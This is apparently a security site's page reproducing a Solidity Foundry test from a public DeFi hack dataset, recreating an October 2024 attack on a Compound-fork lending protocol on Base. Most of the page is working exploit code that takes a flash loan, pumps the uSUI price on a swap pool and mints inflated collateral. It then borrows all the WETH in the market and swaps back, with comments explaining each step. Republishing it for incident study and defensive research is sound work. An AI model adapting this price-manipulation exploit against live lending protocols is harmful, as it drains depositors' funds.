Skip to content
THREATWIRE

Public reproduction file

src/test/2024-10/CompoundFork_exploit.sol

Public reproduction file for dataset entry CompoundFork.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-10/CompoundFork_exploit.sol228 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3
4import "../basetest.sol";
5
6// @KeyInfo - Total Lost : $1M
7// Attacker : https://basescan.org/address/0x81d5187c8346073b648f2d44b9e269509513aae2
8// Attack Contract : https://basescan.org/address/0x7562846468089cf0e8f7b38ac53406b895284901
9// Vulnerable Contract : https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a
10// Attack Tx : https://basescan.org/tx/0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e
12// @Info
13// Vulnerable Contract Code : https://basescan.org/address/0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a#code
15// @Analysis
16// Post-mortem :
17// Twitter Guy :
18// Hacking God :
19pragma solidity ^0.8.0;
21WETH constant weth = WETH(payable(address(0x4200000000000000000000000000000000000006)));
22address constant cWETH = address(0x5c52649d3c1E1d0ddF6a46e1C25A25D9fb148aF8);
23address constant uSUI = address(0xb0505e5a99abd03d94a1169e638B78EDfEd26ea4);
24address constant cSUI = address(0xA2092F9A2a5dD84D6DF7d175673eC8A7357C551B);
25address constant pitfalls = address(0x93D619623abc60A22Ee71a15dB62EedE3EF4dD5a);
26address constant UniswapV3Router = address(0xBE6D8f0d05cC4be24d5167a3eF062215bE6D18a5);
28struct ExactInputSingleParams {
29 address tokenIn;
30 address tokenOut;
31 int24 tickSpacing;
32 address recipient;
33 uint256 deadline;
34 uint256 amountIn;
35 uint256 amountOutMinimum;
36 uint160 sqrtPriceLimitX96;
39contract CompoundFork is BaseTestWithBalanceLog {
40 uint256 blocknumToForkFrom = 21_512_062;
42 fallback() external payable {}
44 function setUp() public {
45 vm.createSelectFork("base", blocknumToForkFrom);
46 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
47 fundingToken = address(weth);
48 }
50 function testExploit() public balanceLog {
51 // A reproduction for a unknown attack in base chain.
52 // 0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e
53 // https://app.blocksec.com/explorer/tx/base/0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e?line=6
54 // https://x.com/Phalcon_xyz/status/1849636437349527725
56 EXPLOIT_DO3 it = new EXPLOIT_DO3();
58 it.doTask();
59 }
62contract EXPLOIT_DO3 {
63 fallback() external payable {}
65 function doTask() public payable {
66 Flashable(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb)).flashLoan(address(weth), 800 ether, "");
67 // console.log("baaa1: %e", weth.balanceOf(address(this)));
69 weth.transfer(address(msg.sender), weth.balanceOf(address(this)));
70 }
72 function onMorphoFlashLoan(uint256, bytes calldata) external {
73 // bytes32 data = bytes32(uint256(0));
74 // MintWithPermitable(address(0x5c52649d3c1E1d0ddF6a46e1C25A25D9fb148aF8)).mintWithPermit(1 ether, data);
75 weth.approve(cWETH, type(uint256).max);
77 address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).call(
78 abi.encodeWithSelector(0x38edc837, address(this), true)
79 );
81 Mintable(cWETH).mint(15 ether);
83 {
84 address[] memory s = new address[](1);
85 s[0] = cSUI;
86 IMarketM(address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3)).enterMarkets(s);
87 }
89 Borrowable(cSUI).borrow(IERC20(uSUI).balanceOf(address(cSUI)));
90 // Now I have all the uSUI.
92 Helper helper = new Helper();
94 {
95 weth.transfer(address(helper), weth.balanceOf(address(this)));
96 IERC20(uSUI).transfer(address(helper), IERC20(uSUI).balanceOf(address(this)));
97 }
99 helper.d(address(this));
100 // console.log("baaa0: %e", weth.balanceOf(address(this)));
102 weth.approve(address(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb), type(uint256).max);
103 }
106contract Helper {
107 fallback() external payable {}
109 function d(
110 address self
111 ) external {
112 address(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).call(
113 abi.encodeWithSelector(0x38edc837, address(this), true)
114 );
116 weth.approve(UniswapV3Router, type(uint256).max);
117 IUniswapV3Router(UniswapV3Router).exactInputSingle(
118 ExactInputSingleParams(address(weth), uSUI, 200, address(this), block.timestamp, 500 ether, 1, 1000 ether)
119 );
121 // As you can see, this protocol thinks that the price of uSUI goes extremely valuable.
122 IUnderlyingPrice(pitfalls).getUnderlyingPrice(cSUI);
124 // So we deposit uSUI into the protocol to mint some cSUI.
125 IERC20(uSUI).approve(cSUI, type(uint256).max);
126 Mintable(cSUI).mint(50 ether);
128 // Now we can verify we are extremely rich in this protocol, but it is still fake money.
129 IMarketM(0xf91d26405fB5e489B7c4bbC11b9a5402aE9243D3).getAccountLiquidity(address(this));
131 // Then we can borrow anything we want,
132 // console.log("b0: %e", weth.balanceOf(cWETH));
133 Borrowable(cWETH).borrow(weth.balanceOf(cWETH));
134 // console.log("b0: %e", weth.balanceOf(cWETH));
136 IERC20(uSUI).approve(UniswapV3Router, type(uint256).max);
138 IUniswapV3Router(UniswapV3Router).exactInputSingle(
139 ExactInputSingleParams(
140 uSUI, address(weth), 200, address(this), block.timestamp, IERC20(uSUI).balanceOf(address(this)), 1, 0
141 )
142 );
144 weth.transfer(self, weth.balanceOf(address(this)));
146 selfdestruct(payable(address(self)));
147 }
150interface IUniswapV3Router {
151 function exactInputSingle(
152 ExactInputSingleParams calldata data
153 ) external;
156interface IUnderlyingPrice {
157 function getUnderlyingPrice(
158 address t
159 ) external returns (uint256);
162interface IMarketM {
163 function enterMarkets(
164 address[] memory
165 ) external;
166 function getAccountLiquidity(
167 address t
168 ) external returns (uint256, uint256);
171interface IERC20 {
172 event Transfer(address indexed from, address indexed to, uint256 value);
173 event Approval(address indexed owner, address indexed spender, uint256 value);
175 function totalSupply() external view returns (uint256);
176 function balanceOf(
177 address account
178 ) external view returns (uint256);
179 function transfer(address to, uint256 value) external returns (bool);
180 function allowance(address owner, address spender) external view returns (uint256);
181 function approve(address spender, uint256 value) external returns (bool);
182 function transferFrom(address from, address to, uint256 value) external returns (bool);
185interface WETH {
186 event Approval(address indexed src, address indexed guy, uint256 wad);
187 event Deposit(address indexed dst, uint256 wad);
188 event Transfer(address indexed src, address indexed dst, uint256 wad);
189 event Withdrawal(address indexed src, uint256 wad);
191 fallback() external payable;
193 function allowance(address, address) external view returns (uint256);
194 function approve(address guy, uint256 wad) external returns (bool);
195 function balanceOf(
196 address
197 ) external view returns (uint256);
198 function decimals() external view returns (uint8);
199 function deposit() external payable;
200 function name() external view returns (string memory);
201 function symbol() external view returns (string memory);
202 function totalSupply() external view returns (uint256);
203 function transfer(address dst, uint256 wad) external returns (bool);
204 function transferFrom(address src, address dst, uint256 wad) external returns (bool);
205 function withdraw(
206 uint256 wad
207 ) external;
210interface Flashable {
211 function flashLoan(address token, uint256 assets, bytes calldata data) external;
214interface MintWithPermitable {
215 function mintWithPermit(uint256 mintAmount, bytes calldata signature) external;
218interface Mintable {
219 function mint(
220 uint256 a
221 ) external;
224interface Borrowable {
225 function borrow(
226 uint256 b
227 ) external;

Analysis

Dataset entry

Public Foundry test for “CompoundFork” (2024-10-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x81d5187c8346073b648f2d44b9e269509513aae2

  • Attack Contract

    0x7562846468089cf0e8f7b38ac53406b895284901

  • Vulnerable Contract

    0x93d619623abc60a22ee71a15db62eede3ef4dd5a

  • Attack Tx

    0x6ab5b7b51f780e8c6c5ddaf65e9badb868811a95c1fd64e86435283074d3149e

File record

Name
CompoundFork
Path
src/test/2024-10/CompoundFork_exploit.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d17d08e4d326edcd676c706888e647c047648953
Language
Solidity
Size
229 lines
Date
2024-10-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-10/CompoundFork_exploit.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d17d08e4d326edcd676c706888e647c047648953, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.